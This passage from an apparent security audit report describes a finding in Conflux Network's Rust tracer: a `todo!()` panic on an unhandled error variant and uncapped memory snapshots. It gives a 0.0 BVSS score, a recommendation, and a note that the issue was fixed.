446         Error::MutableCallInStaticContext => {
447             InstructionResult::StateChangeDuringStaticCall
448         }
449         Error::StateDbError(_) => InstructionResult::FatalExternalError,
450         Error::Wasm(_) => InstructionResult::NotActivated,
451         Error::OutOfBounds => InstructionResult::OutOfOffset,
452         Error::Reverted => InstructionResult::Revert,
453         Error::InvalidAddress(_) => todo!(), /* when selfdestruct refund */
454
455
```

```
            // address is invalid will emit this error
            Error::ConflictAddress(_) => InstructionResult::CreateCollision,
```

Code of `start_step` function from **crates/execution/geth-tracer/src/tracing_inspector.rs** file:

```
pub fn start_step(&mut self, interp: &dyn InterpreterInfo, depth: u64) {
    let trace_idx = self.last_trace_idx();
    let trace = &mut self.traces.arena[trace_idx];

    self.step_stack.push(StackStep {
        trace_idx,
        step_idx: trace.trace.steps.len(),
    });

    let memory = self
        .config
        .record_memory_snapshots
        .then(|| RecordedMemory::new(interp.mem().to_vec()))
        .unwrap_or_default();
```

### BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

### Recommendation

It is recommended to handle all error variants safely within the tracer, replacing `todo!()` with a proper `InstructionResult` (e.g., `InstructionResult::InvalidAddress`). Additionally, memory tracing should include configurable caps or sampling mechanisms, or abort tracing gracefully once usage thresholds are exceeded.

### Remediation Comment

**SOLVED**: The **Conflux Network team** addressed the issue by implementing the recommended solutions.

### Remediation Hash

https://github.com/Conflux-Chain/conflux-rust/pull/3297

---